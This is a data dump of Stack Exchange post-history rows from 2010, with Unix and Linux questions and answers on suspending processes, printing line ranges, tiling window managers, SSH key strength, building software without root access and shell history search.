  <row Id="4302" PostHistoryTypeId="2" PostId="2106" RevisionGUID="1c2c819f-7c5d-4b89-9bff-03be4f69947c" CreationDate="2010-09-15T20:18:46.637" UserId="1207" Text="There are a good number of programs that use mono in Ubuntu if you look at the whole repository.  In the default install, I believe the following are the only mono apps:&#xD;&#xA;&#xD;&#xA; - f-spot&#xD;&#xA; - gbrainy&#xD;&#xA; - tomboy&#xD;&#xA;&#xD;&#xA;There may be more, I just made this list from looking at which applications would be removed if I removed libmono*. However, even just having these means that a good portion of the mono framework is installed by default which makes it very easy to deploy mono apps onto Ubuntu.  A few very popular Ubuntu applications are written in mono, including gnome-do, Banshee, and docky.  The trend I've seen from the sidelines is that despite its detractors, mono is gaining a lot of ground with Desktop application authors because of the speed at one can develop fairly rich GUI apps with the monodevelop IDE.  &#xD;&#xA;" />
  <row Id="4303" PostHistoryTypeId="5" PostId="2087" RevisionGUID="0881b7c9-c77e-4bff-b414-a43d030ce469" CreationDate="2010-09-15T20:21:15.757" UserId="1131" Comment="fix layout" Text="You could check out&#xD;&#xA;&#xD;&#xA;    lsusb -v&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On my system I get for example this line (and much more information):&#xD;&#xA;&#xD;&#xA;&gt; Port 6: 0000.0503 highspeed power enable connect&#xD;&#xA;&#xD;&#xA;Alternatively you can issue a:&#xD;&#xA;&#xD;&#xA;    tail -f /var/log/kern.log&#xD;&#xA;&#xD;&#xA;in one terminal and then plug in the USB flash drive. On my system I get for example this message:&#xD;&#xA;&#xD;&#xA;&gt; Sep 15 22:10:40 foo kernel: [405279.750140] usb 2-2: new high speed USB device using ehci_hcd and address 24&#xD;&#xA;&#xD;&#xA;ehci_hcd is the USB 2.0 controler module in the kernel (i.e. everything is ok, the USB 2.0 stick is used with the right speed).&#xD;&#xA;&#xD;&#xA;Unless you get a follow up message like this:&#xD;&#xA;&#xD;&#xA;&gt; Sep 15 22:15:25 foo kernel: [405564.451402] usb 6-2: not running at top speed; connect to a high speed hub&#xD;&#xA;&#xD;&#xA;(in this case probably compatibility problem with a low quality USB 2.0 stick (Kensington), since the computer's USB port supports USB 2.0 high speed devices otherwise)&#xD;&#xA;&#xD;&#xA;With a non USB 2.0 high speed stick I get this message:&#xD;&#xA;&#xD;&#xA;&gt; Sep 15 22:15:25 foo kernel: [405564.300127] usb 6-2: new full speed USB device using uhci_hcd and address 4&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4304" PostHistoryTypeId="2" PostId="2107" RevisionGUID="7779d241-bdcd-4190-9537-5e88809315d3" CreationDate="2010-09-15T21:07:27.320" UserId="1327" Text="In the bash terminal I can type Control-Z to suspend any running proccess... then I can type fg to resume the the proccess.&#xD;&#xA;&#xD;&#xA;Is it possible to suspend a process if I only have it's PID? And if so, what command should I use?&#xD;&#xA;&#xD;&#xA;I'm looking for something like:&#xD;&#xA;&#xD;&#xA;    suspend-proccess $PID_OF_PROCCESS&#xD;&#xA;&#xD;&#xA;and then to resume it with&#xD;&#xA;    &#xD;&#xA;     resume-proccess $PID_OF_PROCCESS&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4305" PostHistoryTypeId="1" PostId="2107" RevisionGUID="7779d241-bdcd-4190-9537-5e88809315d3" CreationDate="2010-09-15T21:07:27.320" UserId="1327" Text="How to suspend and resume proccesses" />
  <row Id="4306" PostHistoryTypeId="3" PostId="2107" RevisionGUID="7779d241-bdcd-4190-9537-5e88809315d3" CreationDate="2010-09-15T21:07:27.320" UserId="1327" Text="écommandölineàébashàéjoböcontrolà" />
  <row Id="4307" PostHistoryTypeId="2" PostId="2108" RevisionGUID="f4d72d59-dc16-4cae-9a66-1ff48e8d248f" CreationDate="2010-09-15T21:15:04.463" UserId="1131" Text="You should use&#xD;&#xA;&#xD;&#xA;    kill" />
  <row Id="4308" PostHistoryTypeId="6" PostId="2095" RevisionGUID="02baa3e7-886c-4d96-81a0-f79848362b5e" CreationDate="2010-09-15T21:17:59.200" UserId="29" Comment="add msys/mingw tags" Text="éshellàébashàéscriptingàémsysàémingwà" />
  <row Id="4309" PostHistoryTypeId="2" PostId="2109" RevisionGUID="8d40bd34-769e-48e5-9811-aa203ac271ab" CreationDate="2010-09-15T21:19:20.623" UserId="13" Text="I'm using apache2 and postgres running on Ubuntu Server 10.04.  &#xD;&#xA;I have removed the startup scripts for both of these apps and I'm using supervisor to monitor and control them. The problem I have run into is that both of these need directories in /var/run (with the correct permissions for the users they run under) for pid files. How do I create these during startup as they need to be created as root and then chown'd to the correct user?" />
  <row Id="4310" PostHistoryTypeId="1" PostId="2109" RevisionGUID="8d40bd34-769e-48e5-9811-aa203ac271ab" CreationDate="2010-09-15T21:19:20.623" UserId="13" Text="Create directory in /var/run/ at startup" />
  <row Id="4311" PostHistoryTypeId="3" PostId="2109" RevisionGUID="8d40bd34-769e-48e5-9811-aa203ac271ab" CreationDate="2010-09-15T21:19:20.623" UserId="13" Text="éubuntuàépermissionsàéinitöscriptà" />
  <row Id="4312" PostHistoryTypeId="5" PostId="2102" RevisionGUID="c2b51475-c2ec-46a0-8303-2c9c4c65cfe1" CreationDate="2010-09-15T21:19:54.437" UserId="1207" Comment="edited body" Text="Note that you don't define PREFIX in your script, so it needs to be defined elsewhere for this to work, but I think you want(**Warning: I did no testing on this.**):&#xD;&#xA;&#xD;&#xA;    BUILD_CFLAGS=&quot;\&quot;-mtune=core2 -flto -fomit-frame-pointer -momit-leaf-frame-pointer\&quot;&quot;&#xD;&#xA;    BUILD_LFLAGS=&quot;\&quot;-flto -fwhopr=${BUILD_CORES}\&quot;&quot;&#xD;&#xA;    CONFIG_OPTS=&quot;--prefix=${PREFIX} --host=${HOST} --build=${BUILD} CFLAGS=${BUILD_CFLAGS}  &#xD;&#xA;    LFLAGS=${BUILD_LFLAGS}&quot;&#xD;&#xA;    MAKEOPTS=&quot;-s -j${BUILD_CORES}&quot;&#xD;&#xA;&#xD;&#xA;Notice that when you are using double-quotes that the variable will be expanded within the string (often called variable interpolation).  Also, I believe you had mismatched quotes in your original script that were also likely causing you problems." />
  <row Id="4313" PostHistoryTypeId="2" PostId="2110" RevisionGUID="f1468906-00b2-4862-b53d-fbb835751763" CreationDate="2010-09-15T21:21:22.470" UserId="1762" Text="There are two different tiling window managers, one dynamic and one manual, that I use and highly recommend.&#xD;&#xA;&#xD;&#xA;1. [XMonad][1] is very powerful yet easy to learn, there is a great [guided tour][2] that explains its basic features and key bindings. It [integrates smoothly with GNOME][3], the documentation is comprehensive and there are lots of additional extensions available. It supports the *dynamic tiling paradigm*, where windows are automatically positioned according to a given dynamic layout. The downside, at least for some, is that XMonad is configured in Haskell and depends on the presence of a Haskell compiler. &#xD;&#xA;&#xD;&#xA;2. [i3][4] supports the *manual tiling paradigm*, where the screen acts like table divided into columns and cells. The user can freely rearrange windows, which allows for greater flexibility, but also requires more effort. In my opinion i3 feels modern in comparison to other tiling windows managers. It provides out of the box features that either require configuration or don't exist at all in other window managers, eg. maximize, urgency hooks, mouse resize. There's a nice [video presenting i3 features][5] that I recommend watching.&#xD;&#xA;&#xD;&#xA;Of course both support multiple monitors and the floating layer without any problems.&#xD;&#xA;&#xD;&#xA;  [1]: http://xmonad.org/&#xD;&#xA;  [2]: http://xmonad.org/tour.html&#xD;&#xA;  [3]: http://www.haskell.org/haskellwiki/Xmonad/Using_xmonad_in_Gnome&#xD;&#xA;  [4]: http://i3.zekjur.net/&#xD;&#xA;  [5]: http://www.youtube.com/watch?v=pKfP7Ws-CN8" />
  <row Id="4314" PostHistoryTypeId="5" PostId="2108" RevisionGUID="51dfb7c0-7680-411c-876f-c9d972ad8901" CreationDate="2010-09-15T21:25:29.027" UserId="1131" Comment="link" Text="You should use&#xD;&#xA;&#xD;&#xA;    kill&#xD;&#xA;&#xD;&#xA;To be more verbose - you have to specify [the right signal][1]:&#xD;&#xA;&#xD;&#xA;    kill -TSTP&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/SIGTSTP" />
  <row Id="4315" PostHistoryTypeId="5" PostId="2110" RevisionGUID="205cd74c-decb-4e53-ba56-d1e503b41610" CreationDate="2010-09-15T21:27:59.430" UserId="1762" Comment="added 198 characters in body" Text="I'd like to recommend two different tiling window managers, one dynamic and one manual.&#xD;&#xA;&#xD;&#xA;1. [XMonad][1] is very powerful yet easy to learn, there is a short [guided tour][2] that explains its basic features and key bindings. It [integrates smoothly with GNOME][3], the documentation is comprehensive and there are lots of additional [extensions available][4]. It supports the *dynamic tiling paradigm*, where windows are automatically positioned according to a selected dynamic layout. The downside, at least for some, is that XMonad is configured in Haskell and depends on the presence of a Haskell compiler.&#xD;&#xA;&#xD;&#xA;2. [i3][5] supports the *manual tiling paradigm*, where a screen acts like table divided into columns and cells. The user can freely rearrange windows, which allows for greater flexibility, but also requires more effort. In my opinion i3 feels modern in comparison to other tiling windows managers. It provides out of the box features that either require configuration or don't exist at all in other window managers, eg. maximize, urgency hooks, mouse resize. It's configurable with a simple plain-text file, which obviously is not Turing-complete. There's a nice [video presenting i3 features][6] that I suggest watching.&#xD;&#xA;&#xD;&#xA;Of course both support multiple monitors without any problems and have a floating layer for applications that don't like to be tiled.&#xD;&#xA;&#xD;&#xA;  [1]: http://xmonad.org/&#xD;&#xA;  [2]: http://xmonad.org/tour.html&#xD;&#xA;  [3]: http://www.haskell.org/haskellwiki/Xmonad/Using_xmonad_in_Gnome&#xD;&#xA;  [4]: http://xmonad.org/xmonad-docs/xmonad-contrib/XMonad-Doc-Extending.html&#xD;&#xA;  [5]: http://i3.zekjur.net/&#xD;&#xA;  [6]: http://www.youtube.com/watch?v=pKfP7Ws-CN8" />
  <row Id="4316" PostHistoryTypeId="2" PostId="2111" RevisionGUID="6741a1d8-d99e-4be1-b173-ca08be129a23" CreationDate="2010-09-15T21:30:02.573" UserId="1779" Text="As noted by others, there isn't really an answer to this: filenames and paths do not have an encoding; the OS only deals with sequence of bytes.  Individual applications may choose to interpret them as being encoded in some way, but this varies.&#xD;&#xA;&#xD;&#xA;Specifically, Glib (used by Gtk+ apps) [assumes that all file names are UTF-8 encoded, regardless of the user's locale](http://library.gnome.org/devel/glib/stable/glib-Character-Set-Conversion.html#file-name-encodings).  This may be overridden with the environment variables [G_FILENAME_ENCODING](http://library.gnome.org/devel/glib/stable/glib-running.html#G_FILENAME_ENCODING) and [G_BROKEN_FILENAMES](http://library.gnome.org/devel/glib/stable/glib-running.html#G_BROKEN_FILENAMES).&#xD;&#xA;&#xD;&#xA;On the other hand, Qt defaults to [assuming that all file names are encoded in the current user's locale](http://doc.trolltech.com/4.6/qfile.html#setDecodingFunction).  An individual application may choose to override this assumption, though I do not know of any that do, and there is no external override switch.&#xD;&#xA;&#xD;&#xA;Modern Linux distributions are set up such that all users are using UTF-8 locales and paths on foreign filesystem mounts are translated to UTF-8, so this difference in strategies generally has no effect.  However, if you really want to be safe, you cannot assume any structure about filenames beyond &quot;NUL-terminated, '/'-delimited sequence of bytes&quot;.&#xD;&#xA;&#xD;&#xA;(Also note: locale may vary by process.  Two different processes run by the same user may be in different locales simply by having different environment variables set.)" />
  <row Id="4317" PostHistoryTypeId="2" PostId="2112" RevisionGUID="c0ebfbc7-af3f-4f50-a8c0-c6aa1811a8c7" CreationDate="2010-09-15T21:33:31.907" UserId="171" Text="As maxschlepzig said you could use kill&#xD;&#xA;&#xD;&#xA;    kill -SIGSTOP [pid]&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    kill -SIGCONT [pid]" />
  <row Id="4318" PostHistoryTypeId="5" PostId="2110" RevisionGUID="db04ec51-8816-4ca4-80b5-29b73d098eae" CreationDate="2010-09-15T21:33:50.957" UserId="1762" Comment="added 159 characters in body" Text="I'd like to recommend two different tiling window managers, one dynamic and one manual.&#xD;&#xA;&#xD;&#xA;1. [XMonad][1] is very powerful yet easy to learn, there is a short [guided tour][2] that explains its basic features and key bindings. It [integrates smoothly with GNOME][3], the documentation is comprehensive and there are lots of additional [extensions available][4]. It supports the *dynamic tiling paradigm*, where windows are automatically positioned according to a selected dynamic layout. The downside, at least for some, is that XMonad is configured in Haskell and depends on the presence of a Haskell compiler.&#xD;&#xA;&#xD;&#xA;2. [i3][5] supports the *manual tiling paradigm*, where a screen acts like table divided into columns and cells. The user can freely rearrange windows, which allows for greater flexibility, but also requires more effort. In my opinion i3 feels modern in comparison to other tiling windows managers. It provides out of the box features that either require configuration or don't exist at all in other window managers, eg. maximize, urgency hooks, mouse resize. It's configurable with a simple plain-text file, which obviously is not Turing-complete. There's a nice [video presenting i3 features][6] that I suggest watching.&#xD;&#xA;&#xD;&#xA;Of course both support multiple monitors without any problems and have a floating layer for applications that don't like to be tiled.&#xD;&#xA;&#xD;&#xA;PS. One day [Bluetile][7] might be a good gateway drug for GNOME users, but it's still in an early phase of development.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://xmonad.org/&#xD;&#xA;  [2]: http://xmonad.org/tour.html&#xD;&#xA;  [3]: http://www.haskell.org/haskellwiki/Xmonad/Using_xmonad_in_Gnome&#xD;&#xA;  [4]: http://xmonad.org/xmonad-docs/xmonad-contrib/XMonad-Doc-Extending.html&#xD;&#xA;  [5]: http://i3.zekjur.net/&#xD;&#xA;  [6]: http://www.youtube.com/watch?v=pKfP7Ws-CN8&#xD;&#xA;  [7]: http://www.bluetile.org/" />
  <row Id="4319" PostHistoryTypeId="2" PostId="2113" RevisionGUID="deae6cf7-e474-4643-bd77-6d8580bc040f" CreationDate="2010-09-15T21:43:31.880" UserId="1780" Text="Personally, i3 takes the best features of the other big tiling-wm's (Xmonad, Awesome, DWM, etc) and combines it into one, Combined with dmenu/conky/dzen2 it's just what I look for in a WM. Check out the page; http://i3.zekjur.net/" />
  <row Id="4320" PostHistoryTypeId="5" PostId="2073" RevisionGUID="9cf7a064-6708-41be-b85b-c9f75ad7a47e" CreationDate="2010-09-15T22:00:19.930" UserId="1327" Comment="added 109 characters in body" Text="you could try:&#xD;&#xA;&#xD;&#xA;    cat textfile | head -n 45 | tail -n 24&#xD;&#xA;&#xD;&#xA;**or**&#xD;&#xA;&#xD;&#xA;    cat textfile | awk &quot;20 &lt;= NR &amp;&amp; NR &lt;= 45&quot; &#xD;&#xA;&#xD;&#xA;**update:** &#xD;&#xA;&#xD;&#xA;As Mahomedalid pointed out, `cat` is not necessary and a bit redundant, but it does make for a clean, readable command.&#xD;&#xA;&#xD;&#xA;If `cat` does bother you, a better sollution would be:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;textfile awk &quot;20 &lt;= NR &amp;&amp; NR &lt;= 45&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4321" PostHistoryTypeId="5" PostId="2073" RevisionGUID="34dd0f28-5a75-476f-b39c-9bf3fda53e0d" CreationDate="2010-09-15T22:08:03.940" UserId="1327" Comment="edited body" Text="you could try:&#xD;&#xA;&#xD;&#xA;    cat textfile | head -n 45 | tail -n 26&#xD;&#xA;&#xD;&#xA;**or**&#xD;&#xA;&#xD;&#xA;    cat textfile | awk &quot;20 &lt;= NR &amp;&amp; NR &lt;= 45&quot; &#xD;&#xA;&#xD;&#xA;**update:** &#xD;&#xA;&#xD;&#xA;As Mahomedalid pointed out, `cat` is not necessary and a bit redundant, but it does make for a clean, readable command.&#xD;&#xA;&#xD;&#xA;If `cat` does bother you, a better sollution would be:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;textfile awk &quot;20 &lt;= NR &amp;&amp; NR &lt;= 45&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4322" PostHistoryTypeId="2" PostId="2114" RevisionGUID="90007777-aa0e-42d9-9483-e15028d10808" CreationDate="2010-09-15T22:08:09.183" UserId="1779" Text="There is a new dm target called &quot;snapshot-merge&quot;.&#xD;&#xA;&#xD;&#xA;If you format your USB flash memory as a LVM physical volume, and then locate your desired filesystem atop it in a logical volume, you can&#xD;&#xA;&#xD;&#xA; 1. Activate a volume group containing your USB flash memory and another LVM physical volume on a local disk.&#xD;&#xA; 2. Create a snapshot of the logical volume on the local disk.&#xD;&#xA; 3. Mount the snapshot, do whatever you want with it, then umount it.&#xD;&#xA; 4. Merge the snapshot back to the origin.&#xD;&#xA;&#xD;&#xA;This should achieve close to what you've asked for, although it requires a scratch block device rather than a temporary directory." />
  <row Id="4323" PostHistoryTypeId="2" PostId="2115" RevisionGUID="aa353505-8d24-4a53-9d30-afb9ab69e463" CreationDate="2010-09-15T22:13:28.820" UserId="1779" Text="Similar to but slightly different from Rob Hoelz's answer,&#xD;&#xA;&#xD;&#xA;Add the following in your `~/.vimrc`:&#xD;&#xA;&#xD;&#xA;    let $GROFF_NO_SGR=1&#xD;&#xA;    runtime ftplugin/man.vim&#xD;&#xA;&#xD;&#xA;Now `vimman` is an excellent manpage viewer, and `:Man` from within Vim (or simply hitting `K` over a keyword) is an excellent manpage browser." />
  <row Id="4324" PostHistoryTypeId="16" PostId="2115" RevisionGUID="aa353505-8d24-4a53-9d30-afb9ab69e463" CreationDate="2010-09-15T22:13:28.820" UserId="-1" />
  <row Id="4325" PostHistoryTypeId="5" PostId="1854" RevisionGUID="f8a43e2f-0e57-4a91-bd72-800c0d64cbb8" CreationDate="2010-09-15T22:40:23.647" UserId="4" Comment="deleted 1 characters in body" Text="As @Steven D says, don't forget the `info` pages.&#xD;&#xA;&#xD;&#xA;In addition, don't be intimidated by the `info` pages. I know plenty of people who don't use the info pages because of the built-in navigation system. My favorite solution is to pipe the info pages through `less`:&#xD;&#xA;&#xD;&#xA;    info gpg |less&#xD;&#xA;&#xD;&#xA;This way, I can navigate the `info` pages using my favorite pager. The `info` pages will now behave the same as `man` pages." />
  <row Id="4326" PostHistoryTypeId="5" PostId="2088" RevisionGUID="cb02c8e5-bb4c-4dee-87a4-0b637161d065" CreationDate="2010-09-15T23:20:25.237" UserId="1623" Comment="use the requested line numbers" Text="Even simpler:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;sed -n 20,45p &amp;lt; textfile&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;The -n flag disables the default output. The &quot;20,45&quot; addresses lines 20 to 45, inclusive. And the &quot;p&quot; command prints the current line.&#xD;&#xA;" />
  <row Id="4327" PostHistoryTypeId="2" PostId="2116" RevisionGUID="1ab3695b-4d1f-4de5-b51a-06c8ff65b04f" CreationDate="2010-09-15T23:32:53.373" UserId="1257" Text="~/.ssh/authorized_keys[2] contains the list of public keys.&#xD;&#xA;&#xD;&#xA;Unfortunately, each public key does not specify the key strength ( number of bits ).&#xD;&#xA;&#xD;&#xA;Is there a utility that can process this file line by line and output the key strength?&#xD;&#xA;&#xD;&#xA;I checked man pages for `ssh-keygen`, but it looks like it would only work with private keys.&#xD;&#xA;&#xD;&#xA;Also, is there a tool that would output sha1 hash the same way as it is displayed in `pageant` Putty tool?&#xD;&#xA; &#xD;&#xA;The format I am looking for:&#xD;&#xA;&#xD;&#xA;    Key Algorithm  Strength  Hash                                             Comment&#xD;&#xA;    ssh-rsa        2048      00:11:22:33:44:55:66:77:88:99:aa:bb:cc:dd:ee:ff  user1@host1&#xD;&#xA;    ssh-rsa        2048      11:22:33:44:55:66:77:88:99:aa:bb:cc:dd:ee:ff:11  user2@host2" />
  <row Id="4328" PostHistoryTypeId="1" PostId="2116" RevisionGUID="1ab3695b-4d1f-4de5-b51a-06c8ff65b04f" CreationDate="2010-09-15T23:32:53.373" UserId="1257" Text="Given keys in ~/.ssh/authorized_keys format, can you determine key strength easily?" />
  <row Id="4329" PostHistoryTypeId="3" PostId="2116" RevisionGUID="1ab3695b-4d1f-4de5-b51a-06c8ff65b04f" CreationDate="2010-09-15T23:32:53.373" UserId="1257" Text="ésshàéopensshà" />
  <row Id="4330" PostHistoryTypeId="2" PostId="2117" RevisionGUID="10363a42-50c2-4cce-a8bc-cd5ef631c353" CreationDate="2010-09-15T23:37:31.833" UserId="392" Text="There is a server that I do work on, running an older version of Linux. I don't have root access to the system, so I wanted to build a more recent version of a tool that I use a lot (Vim 7.3). I figured I would just build it and install it in ~/bin. However, it requires ncurses development files which are not installed system-wide. I found the ncurses-devel rpm, and extracted the 'lib' and 'include' folders, where would I put them and how would I tell the ./configure script to find them so I could properly configure and build the package locally? " />
  <row Id="4331" PostHistoryTypeId="1" PostId="2117" RevisionGUID="10363a42-50c2-4cce-a8bc-cd5ef631c353" CreationDate="2010-09-15T23:37:31.833" UserId="392" Text="Install development files locally to build on system without root access?" />
  <row Id="4332" PostHistoryTypeId="3" PostId="2117" RevisionGUID="10363a42-50c2-4cce-a8bc-cd5ef631c353" CreationDate="2010-09-15T23:37:31.833" UserId="392" Text="élibrariesàécentosà" />
  <row Id="4333" PostHistoryTypeId="2" PostId="2118" RevisionGUID="500f5985-325b-43ce-b840-72f61cb242a2" CreationDate="2010-09-16T00:04:40.737" UserId="1784" Text="I did this quite frequently in my last job - the solution that seemed to work best was to create a ~/usr directory, and use the --prefix argument to point the ./configure scripts in the right direction. Here's the steps:&#xD;&#xA;&#xD;&#xA;* Create ~/usr directory, and include, lib and bin directories underneath it.&#xD;&#xA;* In your .profile, .bashrc, or other shell init script, add the following (or equivalent in your shell's dialect):&#xD;&#xA;&lt;pre&gt;&lt;code&gt;    export PATH=$PATH:~/usr/bin&#xD;&#xA;    export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:~/usr/lib&#xD;&#xA;    export C_INCLUDE_PATH=$C_INCLUDE_PATH:~/usr/include&#xD;&#xA;    export CPLUS_INCLUDE_PATH=$CPLUS_INCLUDE_PATH:~/usr/include&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;* When building packages, use `./configure --prefix=/home/&lt;username&gt;/usr`&#xD;&#xA;&#xD;&#xA;This arrangement worked for me for most situations where I needed to build things in userspace. The hardest part is usually finding and building all the dependencies you need, but that just takes some googling or judicious use of your package manager's 'get source' functionality." />
  <row Id="4334" PostHistoryTypeId="2" PostId="2119" RevisionGUID="beb8e210-cae9-4b3f-8e36-eca50049b464" CreationDate="2010-09-16T00:48:30.480" UserId="1781" Text="I see a few options:&#xD;&#xA;&#xD;&#xA; 1. Create the directories at install time&#xD;&#xA; 2. Create a file of all directories to be created at startup, then write a program that create all of those files and run it at startup (from a startup script that has root privs).&#xD;&#xA;&#xD;&#xA;Other options that are riffs on this could also be made to work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4335" PostHistoryTypeId="2" PostId="2120" RevisionGUID="6e5dd868-4694-4b48-8122-3adfc87d8203" CreationDate="2010-09-16T01:56:27.180" UserId="382" Text="If you add `stty ixon` to your `~/.bashrc` file then &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;s&lt;/kbd&gt; will go in the opposite direction to &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;r&lt;/kbd&gt;." />
  <row Id="4336" PostHistoryTypeId="2" PostId="2121" RevisionGUID="c72024de-8fbb-4eaf-b9e8-d11c9b87c890" CreationDate="2010-09-16T01:56:49.113" UserId="1779" Text="According to &lt;a href=&quot;http://www.debian.org/doc/debian-policy/ch-opersys.html#fr65&quot;&gt;Debian policy&lt;/a&gt;,&#xD;&#xA;&#xD;&#xA;&gt; `/var/run` and `/var/lock` may be mounted as temporary filesystems, so the `init.d` scripts must handle this correctly.  This will typically amount to creating any required subdirectories dynamically when the `init.d` script is run, rather than including them in the package and relying on dpkg to create them.&#xD;&#xA;&#xD;&#xA;Obviously, Ubuntu inherits from Debian, and as far as I know this policy is unchanged there.&#xD;&#xA;&#xD;&#xA;The best solution is to modify your new startup scripts such that when the services are launched, if these directories do not exist, they will be created." />
  <row Id="4337" PostHistoryTypeId="2" PostId="2122" RevisionGUID="fcb9ef8d-8fe9-4987-b28f-e97b65b348a6" CreationDate="2010-09-16T02:01:11.083" UserId="1779" Text="If you add the following to `~/.inputrc`&#xD;&#xA;&#xD;&#xA;    &quot;\e[5~&quot;: history-search-backward&#xD;&#xA;    &quot;\e[6~&quot;: history-search-forward&#xD;&#xA;&#xD;&#xA;and restart Bash, you can start typing, and then use &lt;kbd&gt;Page Up&lt;/kbd&gt; and &lt;kbd&gt;Page Down&lt;/kbd&gt; to move backward and forward through the history of lines starting with the same prefix you just typed.&#xD;&#xA;&#xD;&#xA;(Some may prefer to use `\e[A` and `\e[B`, which will replace the normal &lt;kbd&gt;Up&lt;/kbd&gt; and &lt;kbd&gt;Down&lt;/kbd&gt; actions instead of binding new keys.)" />
  <row Id="4338" PostHistoryTypeId="2" PostId="2123" RevisionGUID="2bd92777-cb07-4301-8505-24b90c813b85" CreationDate="2010-09-16T02:27:58.900" UserId="1779" Text="[BDB](http://en.wikipedia.org/wiki/Berkeley_DB) (libdb) has historically been the embedded database of choice for many applications, shipping with most UNIXes and used by lots of software.  If you're accustomed to SQL relational databases, though, BDB is not one - it is simply a (really good) key-value store.&#xD;&#xA;&#xD;&#xA;[SQLite](http://www.sqlite.org/) is a different popular embedded database.  As the name implies, it is a SQL database engine, and is not in the same category of lean and compact as BDB, but gives you the power to do very different things.&#xD;&#xA;&#xD;&#xA;What sorts of requirements are you targeting?" />
  <row Id="4339" PostHistoryTypeId="4" PostId="541" RevisionGUID="944f16c9-8ff1-48d9-8dd1-37b9d6221654" CreationDate="2010-09-16T03:28:14.737" UserId="29" Comment="give reasoning in description" Text="best way to search my  history in zsh" />
  <row Id="4340" PostHistoryTypeId="6" PostId="541" RevisionGUID="944f16c9-8ff1-48d9-8dd1-37b9d6221654" CreationDate="2010-09-16T03:28:14.737" UserId="29" Comment="give reasoning in description" Text="éshellàézshàécommandöhistoryà" />
  <row Id="4341" PostHistoryTypeId="5" PostId="541" RevisionGUID="944f16c9-8ff1-48d9-8dd1-37b9d6221654" CreationDate="2010-09-16T03:28:14.737" UserId="29" Comment="give reasoning in description" Text="Is there a better way to search my history file for a command than grep? I do have some idea what the command starts as, but I don't know how far back in the history it is. (shell is zsh if it matters or if there are any zsh specific tricks)&#xD;&#xA;&#xD;&#xA;*update*&#xD;&#xA;&#xD;&#xA;due to shell differences this question should be more about Zsh and we'll leave other questions for other shells, to make it easier for users to process." />
  <row Id="4342" PostHistoryTypeId="6" PostId="2051" RevisionGUID="3f2f5b74-f8ac-4469-a5ea-a422ec8dcfd5" CreationDate="2010-09-16T03:38:37.807" UserId="29" Comment="add shell tag" Text="éshellàébashàécommandöhistoryà" />
  <row Id="4343" PostHistoryTypeId="2" PostId="2124" RevisionGUID="f2aec924-34bc-4b14-b791-e6b917e7c9a8" CreationDate="2010-09-16T03:47:27.553" UserId="1788" Text="Is there a GUI for adding additional software sources in Fedora (FC 13).  I have a software repository that works fine when added manually (as a .repo file in /etc/yum.repos.d/), but I'd like to have a better way of telling end users how to install." />
  <row Id="4344" PostHistoryTypeId="1" PostId="2124" RevisionGUID="f2aec924-34bc-4b14-b791-e6b917e7c9a8" CreationDate="2010-09-16T03:47:27.553" UserId="1788" Text="GUI for adding Fedora software source" />
  <row Id="4345" PostHistoryTypeId="3" PostId="2124" RevisionGUID="f2aec924-34bc-4b14-b791-e6b917e7c9a8" CreationDate="2010-09-16T03:47:27.553" UserId="1788" Text="éfedoraàéinstallàérpmà" />
  <row Id="4346" PostHistoryTypeId="6" PostId="2124" RevisionGUID="c1113080-73cd-48fd-8a67-d5206409e610" CreationDate="2010-09-16T03:55:05.213" UserId="1788" Comment="edited tags" Text="éfedoraàéinstallàérpmàéyumà" />
  <row Id="4347" PostHistoryTypeId="2" PostId="2125" RevisionGUID="154a0652-cdef-47db-a814-4d240ee877fe" CreationDate="2010-09-16T04:33:38.283" UserId="1606" Text="    ruby -ne 'print if 20 .. 45' file&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4348" PostHistoryTypeId="5" PostId="2091" RevisionGUID="c23e1f6a-8188-4c6f-ad9f-275c9c9fe3a5" CreationDate="2010-09-16T05:00:10.783" UserId="73" Comment="added 33 characters in body" Text="Yes it exists, at least if you are using zsh. Just press &lt;kbd&gt;M-p&lt;/kbd&gt; (&lt;kbd&gt;ESC&lt;/kbd&gt; &lt;kbd&gt;p&lt;/kbd&gt;) and you will get exactly what you are looking for." />
  <row Id="4349" PostHistoryTypeId="5" PostId="2084" RevisionGUID="064ad8b4-17e5-49ce-b95d-2b645eb237f6" CreationDate="2010-09-16T05:00:21.333" UserId="73" Comment="added 27 characters in body" Text="The interactive prompt invoked by &lt;kbd&gt;Ctrl-R&lt;/kbd&gt;, which had been already mentioned, is the most convenient way. Additionally it's popular to remap &lt;kbd&gt;Up&lt;/kbd&gt; and &lt;kbd&gt;Down&lt;/kbd&gt; arrow keys to search the history for a prefix currently on the command line, however this requires some [changes to the `~/.inputrc` file][1].&#xD;&#xA;&#xD;&#xA;The classic and less interactive solution is to use shell history expansion. Typing &#xD;&#xA;&#xD;&#xA;    !foo&#xD;&#xA;&#xD;&#xA;will execute the last command that starts with `foo` and&#xD;&#xA;&#xD;&#xA;    !?foo&#xD;&#xA;&#xD;&#xA;will execute the last command that contains `foo`. More information about history expansion can be found in the [Bash reference manual][2], assuming your shell is Bash or compatible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.org/wiki/Inputrc_for_bash_history_completion_using_up/down_arrows&#xD;&#xA;  [2]: http://www.gnu.org/software/bash/manual/bashref.html#History-Interaction" />
